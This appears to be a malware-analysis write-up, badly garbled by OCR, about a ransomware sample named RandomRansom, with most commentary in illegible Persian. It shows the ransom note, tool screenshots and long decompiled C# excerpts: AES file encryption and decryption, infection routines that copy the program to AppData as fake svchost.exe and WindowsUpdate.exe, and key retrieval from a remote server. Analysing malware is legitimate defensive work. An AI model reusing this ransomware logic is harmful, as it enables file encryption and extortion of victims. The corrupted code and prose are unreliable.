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Hum... Looks like your files are encrypted! Sucks to
be you! Well... | will help you decrypt your files :)
BUT you have to play this stupid game i made. It's
real simple! Just play until you have 50 points! You
have 1 hour to get 50 points. If you fail, sucks to
suck i guess because i will remove your key for
your encrypted files which means that your files are
gone! Have fun :)
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RANDOM_RANSOM. exe
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Entry Point 1 goo1095E oa EP Section ©  text

File Offset : DOOOEBSE
Linker Info :

FileSize: 00010000k (<] (2] overlay:  no oooooooo Q

R’

SubSystem :  yin Console

Image is executable RES/OVL: 6 f 0 % 7777

L&
FirstBytes: FF.25.00.20.40 | @ |
e ]
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(S ]

[ Linker 45 ] - *generic check - Microsoft Visual C# [ Easu:: MET ) MS Vist ’5,5” ,.ft]

| Ro |

Lamer Info - Help Hint - Unpadk info
-z Explore and analyze .MET assemblies with .MET F‘.eﬂector v, U W

w (O@] [ 2 |
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Capturing from eth0

[Wireshark 1.10.6 (v1.10.6 from master-1.10)]

File Edit View Go Capture Analyze Statistics Telephony Tools Intemals Help
IO el IR R = Fl@e -
Filter: I j Expression... [Clear Apply | Save
No. | Time |Source | Destination | Protncu]l Lengtl| Info =
5 4.527650 00:0¢:29:02:c4:4c 00:0c:29:2a:bd:ed ARP 60 Who has 192.168.249.1287 Tell 192.168.249.]
6 4.527679 00:0c:29:2a:bd:ed 00:0c:29:02:c4:4c ARP 42 192.168.249.128 is at 80:0c:29:2a:bd:ed
7 7.996540 192.168.249.129 129.168.249.129 DNS 85 Standard query 0x77d7 A teredo.ipv6.microsc
8 34.578366 192.168.249.129 129.168.249.129 DNS 76 Standard query @xca62 A google.com
9 35.568965 192.168.249.129 129.168.249.129 DNS 70 Standard query Oxca62 A google.com
10 36.567549  192.168.249.129 129.168.249.129 DNS 78 Standard query 8xca62 A google.com
11 38.568171  192.168.249.129 129.168.249.129 DNS 70 Standard query @xca62 A google.com
12 39.537425 00:0c:29:02:c4:4C 00:0c:29:2a:bd:ed ARP 60 Who has 192.168.249.1287 Tell 192.168.249.]
13 39.537493  ©0:0c:29:2a:bd:ed 00:0c:29:02:c4:4c ARP 42 192.168.249.128 is at 00:0c:29:2a:bd:e0
14 42.568872  192.168.249.129 129.168.249.129 DNS 76 Standard query @xca62 A google.com
15 43.883086  192.168.249.129 129.168.249.129 DNS 85 Standard query 0xa822 A teredo.ipv6.microsc
16 44.881176  192.168.249.129 129.168.249.129 DNS 85 Standard query 0xa822 A teredo.ipv6.microsc
17 45.881093  192.168.249.129 129.168.249.129 DNS 85 Standard query 8xa822 A teredo.ipv6.microsc|z|
0000 00 Oc 29 2a bd e 06 Bc 29 02 c4 4c B 6O 4500 ..)*.... )..L..E. =
0010 00 47 61 33 60 00 80 11 04 1f cH aB f9 81 81 a8 .G.3.... ........
0020 f9 81 ¢ 34 00 35 06 33 3d 67 77 d7 61 60 86 1 453 =,
0030 06 00 60 GO GO 0 06 74 65 72 65 64 6f G4 69 70 ....... t eredo.ip |
e ‘eth[): <live capture in progress... ‘ Packets: 196 - Displayed: 196 (100.0%) ‘ Profile: Default

N3l g1yt Job 5 A ol uiy 1 ¥ JSC

©ole rguivainb



) Sl Jule' (0,155
____________________________________________________________________________________________________|

e 2ol Curidg V¥

g Lo o plas |y cal edled b o l8lzl a5 Slejy jo |y piinw milin B yae Courog ) SO
Jlie ;o 0l o0 055 Jloy S 5l iy o5 jo CPU sloslaiul (50 a5 00,5 0 cdwlive SO 4
cJl 5l g oduwy, MEMORY 5l oolal LB ol o0 5UL & g 009 UL MEMORY 51 oolazwl ol 5e
s 4 S sS Saj ol 5 5 09 el WO S eolisil frae Jy el e 5 055 o

Lol ) )‘_\.M

CPU Usage CPU Usage (Kemel, User)

26 88% (K 24690 L 2.19%]

Pvt. Pages Memony (Private Pages, Working Set)

140 (R=C) 140 (R=0, W)

NHIEL (612! Job 59 pimsas olio Copnidy A S

Olg oo IS (pl 4 ax gl sl oal ools iolad |, Process Hacker o 4ol p slya! camdg ) JSi

e dBb o0 jgaing ol sl s 5l (G as svehost.exe sb l eolanul b l58lzl 0,8 (6,5 s
ol A Sl dzgie AiS o cwyp |y e Slellbl IS a5 e B ooyle o 5157 0 S ol 3 o
O PSS I NCRRS IR WS T TP U g DV HNEL Sy V[T [ ¥

Al o0 SVCNOSTE s Lol uwsg s 5l Dglaie a5 00 5 o | >] €Xplorer.exe

oo sguiadnb



N Random Ransom ,|j8las Ldas (5,155
|
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Encrypting files...
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// Entry point: RandomRansom.Program.Main
{/ Timestamp: FBD162B7 (1/11/2898 4:48:55 AM)

using System;

using System.Diagnostics;

using System.Reflection;

using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Runtime.Versioning;

[assembly: AssemblyVersion("1.8.8.8")]

[assembly: CompilaticnRelaxations(8)]

[assembly: RuntimeCompatibility(WrapNonExceptionThrows = true)]

[assembly: Debuggable{DebuggableAttribute.DebuggingModes.Default |
Debuggablefttribute.DebuggingModes.DisableOptimizations |
Debuggablefttribute.DebuggingModes. IgnoreSymbolStoreSequencePoints |
DebuggableAttribute.DebuggingModes.EnableEditAndContinue)]

[assembly: AssemblyTitle(“RandomRansom”)]

[assembly: AssemblyDescription(™"}]

[assembly: AssemblyConfiguration("")]

[assembly: AssemblyCompany("")]

[assembly: AssemblyProduct("RandomRansom")]

[assembly: AssemblyCopyright("Copyright @ 2828")]

[assembly: AssemblyTrademark("")]

[assembly: Comvisible(false)]

[assembly: Guid(“af87d714-1bde-4ad8-3b3f-3ccd215b67a2")]

[assembly: AssemblyFileVersien("1.8.8.8")]

[assembly: TargetFramework(".NETFramework,Version=v4.8", FrameworkDisplayName = ".NET Framework 4"}]
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internal class Crypt
{
// Token: @x@6@000801 RID: 1 RVA: 0xBR0G2058 File Offset: Gx0OBBO250

private byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
{

byte[] result = null;
byte[] salt = new byte[]
{

[ER,

-

(e

o

0O = O W s L kD
Py

T
using (MemoryStream memoryStream = new MemoryStream())

using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{

rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
Rfc28980eriveBytes rfc2898DeriveBytes = new Rfc28980eriveBytes(passwordBytes, salt, 1000);
rijndaelManaged.key = rfc2898DeriveBytes.GetBytes(rijndaelManaged. keysize / 8);
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes (rijndaelManaged.Blocksize / 8);
rijndaelManaged.Mode = CipherMode.CBC;
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaslManaged.CreateEncryptor(),
CryptostreamMode.Write))
{
cryptoStream.lirite (bytesToBeEncrypted, @, bytesToBeEncrypted.length);
cryptoStream.Close();
}
result = memoryStream.ToArray();
}
}
return result;

}

AES p 595! 3l oolasw! b by 16 (6,108 50, 2o VY Sl
Qb oo 0diie, sla bl HlaS e, ol adlsg oS aib oo wllS cpl jo (g0 &b 55 AES_Decrypt &b
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private byte[] AES Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{

byte[] result = null;
byte[] salt = new byte[]
{

S

~

[

-

= R L
P

i
using (MemoryStream memoryStream = new MemoryStream())

using (RijndaelManaged rijndaelManaged = new RijndaelManaged())
{

; rijndaelManaged.keysize = 256;

: rijndaelManaged.BlockSize = 128;

E Rfc23980erivelytes rfc28980eriveBytes = new Rfc28980eriveBytes(passwordBytes, salt, 16@8);
; rijndaelManaged.key = rfc28980eriveBytes.GetBytes(rijndaclManaged.Keysize / 8);

: rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaclManaged.Blocksize / 8);

: rijndaelManaged.Mode = CipherMode.CBC;

i using (CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecryptor(),
E CryptoStreamiode.Write))

}

cryptoStream.Write(bytesToBeDecrypted, @, bytesToBeDecrypted.length);
cryptostream.Close();

result = memoryStream.ToArray();
}
}

return result;

AES ﬂ?11)55:1| Lowdiyo, sla bl ‘sil¢2~§i}o) QKUY sl

Lol s Sl b (6,135 50, o g 0956 o] j0 a5 aas o olas | infect b p; JSo comen
b 5 Oy slaoldas I alize Jolpe a5 wl ools lasemd )l Jae L8 o JSo 0 00 5 o
ools Las I8 (gl g 4 pdy &0 ldes (pl @l cpl jo aiog oals alliel > 95,0 ,l58lzl oy

=

'ob}SLSA

gole guaib



\[A Random Ransom ,|j8las des (3,155
e

private static void infect()

1

' bool flag = Application.ExecutablePath.Contains{ "WindowsUpdate");

© o if (flag)

N

Lo try

|

N

A |

.| 1 | Console.Writeline("Creating RANDOM_RANSOM_DECRYPTOR window...");
01| RANDOM_RANSOM rANDOM_RANSOM = new RANDOM RANSOM();

; E i Console.Writeline("Initializing RANDOM_RANSOM _DECRYPTOR window...");
011 rANDOM_RANSOM.init();

E i i E Console.Writeline("Displaying RANDOM_RANSOM_DECRYPTOR window..."};
|11 | rANDOM_RANSOM.ShowDialog();

Voo ; E Environment.Exit(666);

o)

E 1 catch (Exception)

ot

[

oo

| E catch (Exception)

I

oo

v}

. bool flag2 = !Application.ExecutablePath.Contains("svchost™);

o if (flag2)

¢

E i Program.initial_infection(};

oo

E else

N

E i string path = File.ReadAllText("C:\\Users\\" + Environment.Userlame + “\\Appdata\\debug.txt");
. File.Delete(path);

E i Program.Payload();

LT

1
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private static veid initial infection()

ry

t

{

. Console.WriteLine("Infecting computer...”"};
E Console.Writeline("Writing hostfile location in to file...");
. File.WriteAllText("C:\\Users\\" + Environment.UserName + "\\Appdata\\debug.txt",
E Application.ExecutablePath};

E Console.Writeline("Copying host to infection location (svchost.exe}...");
. File.Copy(Applicaticn.ExecutablePath, "C:\\Users\\" + Environment.UserName + "\\Appdata\\svchost.exe");
E Console.Writeline("Copying host to infection location (WindowsUpdate.exe)...™};
E File.Copy(Application.ExecutablePath, "C:\\Users\\" + Environment.UserName + "\\Appdata\
| \WindowsUpdate.exe™);

E Console.Writeline("Starting fake svchost.exe...");
¢ Process.Start("C:\\Users\\" + Environment.UserName + "\\Appdata\\svchost.exe");
. Console.WriteLine("Exiting...");
E Environment.Exit(428);

}

c

{

}

atch (Exception)

B R

‘5}L~9003JT U Gl 2610 JSCo
Al oo olael 5l gladlos &Oyga das oo las Ty 581l Jawgs oy oslaswl oS 50 5 JSKS
string -

" 24R7325631435786478245758790735254616357835793295396587175126482357908115624683579247517264893579264346842
6B13572698264524724624";

Ty

t

{

' bool flag3 = flag;
. if (flag3)
}

Console.Writeline("Getting key from server with token...");
byte[] bytes = Encoding.ASCII.GetBytes("GET KEY");
networkStream.Write(bytes, @, bytes.length);

byte[] array2 = new byte[512];

int count2 = networkStream.Read(array2, 8, array2.length);
password = Encoding.ASCII.GetString(array2, @, count2);

e
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public static bool CheckForInternetConnection()

. bool result;

try

|

' using (WebClient webClient = new WebhClient())
! Coq

i E using (webClient.OpenRead("http://google.com/generate_284"))
| i

X E result = true;

| H

! | H

|

catch

ot

result = false;
' ¥
: return result;
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